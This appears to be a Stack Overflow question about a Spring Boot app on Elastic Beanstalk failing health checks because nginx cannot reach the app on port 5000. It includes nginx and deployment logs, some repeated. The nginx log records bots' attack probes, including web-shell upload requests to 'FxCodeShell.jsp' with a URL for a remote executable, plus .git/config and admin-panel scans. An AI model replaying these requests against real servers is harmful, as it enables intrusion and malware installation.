        2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
        2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
        2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"




        /var/log/eb-activity.log



         creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
         creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


        extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

        creating: /var/app/staging/StudentCousr/target/test-classes/
        Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
        [foreman export] writing: application.conf
        Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



        Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



        [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
        Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



        Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
        nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
        nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 0 completed
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
        [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



        Process termination taking longer than 10 seconds.
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
        listener:supervisor_listener: stopped
        Executing: /sbin/status supervisord
        supervisord start/running, process 3598
        Executing: /sbin/stop supervisord
        supervisord stop/waiting
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
        Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop
        Stopping nginx: [ OK ]
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
        Executing: /sbin/start supervisord
        supervisord start/running, process 13637
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop



        Executing: service nginx start
        Starting nginx: [ OK ]
        Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



        Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



        Executing: /opt/elasticbeanstalk/bin/healthd-restart



        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 1 completed
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
        Disabled forced hourly log rotation.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer succeeded
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
        CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
        CMD-TailLogs - Command CMD-TailLogs succeeded
        [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...







      java spring amazon-web-services spring-boot amazon-elastic-beanstalk







      share|improve this question
















      • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

      • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

      • I collected error logs and researched shows results related to nginx connection lost issue

      • can you guys help to me figure out what mistake occured with your suggestions

      • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


      • Mentioned errors in the log file are



        /var/log/nginx/error.log




        2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
        2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
        2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
        2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
        2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
        2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"




        /var/log/eb-activity.log



         creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
         creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


        extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

        creating: /var/app/staging/StudentCousr/target/test-classes/
        Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
        [foreman export] writing: application.conf
        Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



        Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



        [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
        Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



        Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
        nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
        nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 0 completed
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
        [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



        Process termination taking longer than 10 seconds.
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
        listener:supervisor_listener: stopped
        Executing: /sbin/status supervisord
        supervisord start/running, process 3598
        Executing: /sbin/stop supervisord
        supervisord stop/waiting
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
        Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
